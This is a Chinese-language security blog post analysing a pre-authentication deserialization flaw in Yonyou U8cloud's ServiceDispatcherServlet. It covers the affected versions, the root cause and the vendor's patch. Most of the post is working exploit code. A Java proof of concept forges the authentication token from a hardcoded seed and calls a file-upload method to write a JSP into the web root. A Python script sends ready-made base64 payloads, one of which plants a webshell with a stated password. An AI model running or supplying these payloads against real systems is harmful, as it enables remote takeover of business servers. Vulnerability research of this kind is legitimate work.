用友U8cloud-ServiceDispacherServlet反序列化
1diot9 Lv4

影响版本

2.0 2.1 2.3 2.5 2.6 2.7 2.65 3.0 3.1 3.2 3.5 3.6 3.6sp 5.0 5.0sp 5.1 5.1sp

poc

需要提前把库添加到idea,不然会找不到nc相关类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import nc.bs.framework.common.InvocationInfo;
import nc.bs.framework.comn.NetObjectOutputStream;
import nc.bs.framework.exception.FrameworkRuntimeException;
import nc.bs.framework.server.token.MD5Util;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.MessageDigest;
import java.util.Base64;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;


public class ServiceDispatcherServlet {
public static void main(String[] args) throws Exception {
byte[] data = createData("./1.jsp");
// new FileOutputStream("./data").write(data);

String userCode = "1";
String service = "nc.itf.hr.tools.IFileTrans";
String method = "uploadFile";
Class[] classes = {byte[].class, String.class};
Object[] params = {data, "D:/1.jspp"};
InvocationInfo invocationInfo = new InvocationInfo(service, method, classes, params);
invocationInfo.setUserCode(userCode);
invocationInfo.setToken(genToken(userCode));
FileOutputStream fos = new FileOutputStream("./ser1.bin");
NetObjectOutputStream.writeObject(fos, invocationInfo);
post();

// byte[] bytes = Files.readAllBytes(Paths.get("./ser1.bin"));
// String s = Base64.getEncoder().encodeToString(bytes);
// System.out.println(s);
// String s1 = genToken("1");
// System.out.println(s1);


}

public static byte[] createData(String filePath) throws IOException {
File file = new File(filePath);
byte[] fileBytes = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
fis.read(fileBytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ZipOutputStream zos = new ZipOutputStream(baos);
ZipEntry entry = new ZipEntry("compressed");
zos.putNextEntry(entry);
zos.write(fileBytes);
zos.closeEntry();
zos.close();
return baos.toByteArray();
}

private static byte[] md5(byte[] key, byte[] tokens) {
MessageDigest md = null;

try {
md = MessageDigest.getInstance("SHA-1");
md.update(tokens);
md.update(key);
return md.digest();
} catch (Exception var5) {
Exception e = var5;
throw new FrameworkRuntimeException("md5 error", e);
}
}

public static String genToken(String userCode) {
byte[] md5 = md5("ab7d823e-03ef-39c1-9947-060a0a08b931".getBytes(), userCode.getBytes());
return MD5Util.byteToHexString(md5);
}

public static void post() throws Exception {
// 目标 URL
URL url = new URL("http://127.0.0.1:8051/ServiceDispatcherServlet");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();

// 配置请求
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/octet-stream");

// 从 ser1.bin 读取序列化数据

File file = new File("./ser1.bin");
byte[] data = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
fis.read(data);

// 写入请求体
try (OutputStream os = conn.getOutputStream()) {
os.write(data);
os.flush();
}

// 读取响应
try (InputStream is = conn.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is))) {
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}

conn.disconnect();
}
}

没有环境的话,就用这个python的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64

import requests


if __name__ == "__main__":
# 创建 webapps/u8c_web/a1b1.jsp 内容:test321
touch = "AAACDHJxiQF7uQPbFPuWMWS63hJKY0Wrr6QW0Rp3mKSWQODMh32wwokYgFxrSBJebabPcsPNLdxM0ggqZIJL/BR02TCwGFNuhaf7kixQNGfbpGTZePjlZ2+dptAdZnQPVlY9T8SoekSLXJf9eaEyU2vGDbD5KjXKh7coPKCKCfWKc30Kq9UVWyKc3e7xUXypmRj+uQI4Nr4rH44HG+CubNiqmEv0Vt4zvEoDGOfcmY1+qx8DBTmzUAONkQEN9HuZ7BL3x2eAR3K0y2Tl47IluOgj5Oo8ormLsPPcSHPa9a7kh/hVe4Dv2cpOKWdt+eltcxs+fZqWuxlRzFm4DET8b/pLKY/jvSVTbyYT4qEnH8XggqXp4wD88i6GJ83m9U3hp3WmSQDFm0y3TYs1VrcDoGsWImZOMJXyUu1NmlfZ7STBdr7AoTNGO9GLkSY9i/x4eNAzaSH9jq8HIdzA1PfeDsGLdQy7DquK0V9qO/8q7+35AtbE6uLL7/dbRKDWw2EPig4s7e4p3s+XxWgjv+Palcv7tTm8lo9AAThuVGvYZXKwccpm721hSEjsfsaEiqMgcfgQYdCvgtmueSEkWlZACvkC1sTq4svv+QLWxOriy+9ubVc8v+j+6yurlS6SjLoFy2WseGEpNut1F4D9ZvPMsvIBVP3XH7ey+M0H6WtY5pRHApZtejNldPRUQJbHkuLQ"
# 创建 webapps/u8c_web/evil.jsp 连接密码:passwd 用蚁剑!
shell = "AAADpHJxiQF7uQPbFPuWMWS63hJKY0Wrr6QW0Rp3mKSWQODMh32wwokYgFxrSBJebabPcsPNLdxM0ggqZIJL/BR02TCwGFNuhaf7kixQNGfbpGTZePjlZ2+dptAdZnQPVlY9T8SoekSLXJf9eaEyU2vGDbD5KjXKh7coPKCKCfWKc30Kq9UVWyKc3e7xUXypmRj+uQI4Nr4rH44HG+CubNiqmEv0Vt4zvEoDGOfcmY1+qx8DBTmzUAONkQEN9HuZF8gOZXBV42naCRCtoBMMZegj5Oo8ormLsPPcSHPa9a7kh/hVe4Dv2cpOKWdt+eltcxs+fZqWuxlRzFm4DET8b/pLKY/jvSVTbyYT4qEnH8XggqXp4wD88i6GJ83m9U3hp3WmSQDFm0y3TYs1VrcDoGsWImZOMJXyUu1NmlfZ7STBdr7AoTNGO9GLkSY9i/x4eNAzaSH9jq/9RuGwMKypDcGLdQy7DquKPEP8EXryeIT5AtbE6uLL7/dbRKDWw2EPig4s7e4p3s/23GiyUof4BwNejVIJiEfvfsGlfQ5wuDcoqF//OWcXePrJ6eJwMvIc9F619/+pu5ZT8P7uF/GIXtOxYN6fZH/qauVX12sOZvEJ+2imWsQR0QPVbUYD6CpnNFZzNNeqnbiz1gF5dl+NYYXfPFf1gRH0iaZO3F09ADqB8VP6Ejf0lTMSWQYbs/2Uoo9b2TkrEMx+GAqu5qW0E39MTadUNctN3M4LHNeD0WSIHwnd8dyQ0rVPBOdfVlY/0b9/9vfdvyahASonlXPk9j6PdykcudJ6Q2ZsV1hqcYuVw7/EkaOqseFSuR305uHIBPXUloD9UiLwO7vfRAZgCgD5MNcA5qjqQXHd5JSZSpRyIUo/+ebGBuFcqsO8O0TQiXvcnO3E2cSFlCja0yOUJ2126pCoxWg1uOGpNeqO7wZoWrEt8rdZnTx4WKR7es8y+pT5W1UrTy+rkI3C/RtPf+OLUuMkzwLvUUncAG7u+GLCHQFAiWBXc/51GCGbCTJjxgeGSaymmFWwUfnvasm6FFmMB/QIjfj/7kqGBlxlHKLzrSfOQWlkEw57KcLCk5+GGZ80mzJrxNArh2ZZd1d9j7QqzXntpyy+mpr7CHObop1QFcPbjYeuaPkC1sTq4svvpuJ4zlLP63c9dKA9wUDzHcrCqzVqVg+jHYrOoDMIMFWvbZegtMZtGbuYixqbK8LM6sWM+wj7CCrkqzmHKXShintmHtB8TuGt"
ser = base64.b64decode(touch)
url = "http://127.0.0.1:8051/ServiceDispatcherServlet"
h = {
"token": "4a68a59011d7341f5635100286d91965"
}
resp = requests.post(url=url, data=ser, headers=h)
print(resp.text)

漏洞原理

token鉴权可绕过;nc.bs.framework.comn.serv.ServiceDispatcher#invokeBeanMethod可调用能lookup到的类中的任意方法;nc.impl.hr.tools.trans.FileTransImpl#uploadFile写shell到webapps

漏洞分析

token伪造

全局搜索,找到路由:

img

访问/ServiceDispatcherServlet后,后进入nc.bs.framework.comn.serv.CommonServletDispatcher#doGet,doGet最终会调用execCall:

img

跟进,在execCall中,会对我们的请求体进行反序列化,不过指定了类型,只能反序列化为InvocationInfo,不过这里要记住,InvocationInfo中的所有字段都是我们可控的:

img

之后在160行打断点,即token鉴权处:

img

跟进去看一下鉴权:

白名单校验过不了,会进入到nc.bs.framework.server.token.TokenUtil#vertifyTokenIllegal:

img

根据反序列化得到的userCode来genToken,然后和我们请求头中的token进行比较。

看一下genToken的逻辑:

img

显然是可以伪造的。

方法调用

lookup到类后,反射取出方法,注意用的是getMethod,所以只能取出public方法,然后再invoke,用到的全部参数都是我们在序列化时自行写入的:

img

文件写入

这里用的是nc.impl.hr.tools.trans.FileTransImpl#uploadFile,esnserver接口漏洞的同一个类。因为如果对n8c不熟悉的话,找一个能用的类还是有难度的。所以,不妨去以前的老漏洞中拿一个用,这也是漏洞复现的意义。

img

漏洞修复

首先是tokenseed的文件改了:

img

但是这个文件默认是不存在的,所以seed还是固定。

二是增加了trustServiceList.conf,这个不知道有啥用:

img

三是修改了nc.impl.hr.tools.trans.FileTransImpl#uploadFile,这是最关键的,不允许写入webapps了:

img

参考

用友U8Cloud最新前台RCE漏洞挖掘过程分享

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量